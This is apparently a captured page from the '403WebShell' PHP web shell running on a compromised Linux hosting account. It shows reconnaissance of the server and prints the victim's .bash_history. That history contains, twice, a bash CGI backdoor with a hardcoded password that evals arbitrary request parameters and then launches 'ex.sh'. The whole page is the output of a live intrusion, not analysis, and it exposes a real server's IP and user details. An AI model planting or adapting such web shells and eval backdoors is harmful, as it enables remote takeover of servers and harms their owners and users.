Done ! 403WebShell
403Webshell
Server IP : 194.181.228.65  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux wn13.webd.pl 5.14.0-687.46.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Sep 11 09:03:19 EDT 2026 x86_64
User : prusit ( 133039)
PHP Version : 5.6.40
Disable Function : exec, system, shell_exec, passthru, proc_open, proc_close, popen
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/prusit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/prusit/.bash_history
#!/bin/bash -i
#
password="123"
function cgi_get_POST_vars() {
    [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && 	echo "Warning: you should probably use MIME type "	     "application/x-www-form-urlencoded!" 1>&2
    [ -z "$QUERY_STRING_POST"       -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && 	read -n $CONTENT_LENGTH QUERY_STRING_POST;     return; }
function cgi_decodevar() {     [ $# -ne 1 ] && return;     local v t h         t="${1//+/ }%%";     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 	v="${v}${t%%\%*}" ; 	t="${t#*%}"       	 	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 	    h=${t:0:2} ; 	    t="${t:2}" ; 	    v="${v}"`echo -e \\\\x${h}` ; 	fi;     done         echo "${v}";     return; }
function cgi_getvars() {     [ $# -lt 2 ] && return;     local q p k v s
    case $1 in 	GET) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    ;; 	POST) 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; 	    ;; 	BOTH) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; 	    ;;     esac;     shift;     s=" $* "
    while [ ! -z "$q" ]; do 	p="${q%%&*}"  # get first part of query string
	k="${p%%=*}"  # get the key (variable name) from it
	v="${p#*=}"   # get the value from it
	q="${q#$p&*}" # strip first part from query string
	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && 	    eval "$k=\"`cgi_decodevar \"$v\"`\"";     done;     return; }
# register all GET and POST variables
cgi_getvars BOTH ALL
pass="SAVEDPWD=$password"
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`
if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx"  ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi fi
echo 'PGh0bWw+PHRpdGxlPndvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d
cd ../
bash ex.sh
#!/bin/bash -i
#
password="123"
function cgi_get_POST_vars() {
    [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && 	echo "Warning: you should probably use MIME type "	     "application/x-www-form-urlencoded!" 1>&2
    [ -z "$QUERY_STRING_POST"       -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && 	read -n $CONTENT_LENGTH QUERY_STRING_POST;     return; }
function cgi_decodevar() {     [ $# -ne 1 ] && return;     local v t h         t="${1//+/ }%%";     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 	v="${v}${t%%\%*}" ; 	t="${t#*%}"       	 	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 	    h=${t:0:2} ; 	    t="${t:2}" ; 	    v="${v}"`echo -e \\\\x${h}` ; 	fi;     done         echo "${v}";     return; }
function cgi_getvars() {     [ $# -lt 2 ] && return;     local q p k v s
    case $1 in 	GET) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    ;; 	POST) 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; 	    ;; 	BOTH) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; 	    ;;     esac;     shift;     s=" $* "
    while [ ! -z "$q" ]; do 	p="${q%%&*}"  # get first part of query string
	k="${p%%=*}"  # get the key (variable name) from it
	v="${p#*=}"   # get the value from it
	q="${q#$p&*}" # strip first part from query string
	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && 	    eval "$k=\"`cgi_decodevar \"$v\"`\"";     done;     return; }
# register all GET and POST variables
cgi_getvars BOTH ALL
pass="SAVEDPWD=$password"
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`
if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx"  ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi fi
echo 'PGh0bWw+PHRpdGxlPndvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d
cd ../
bash ex.sh

Youez - 2016 - github.com/yon3zu
LinuXploit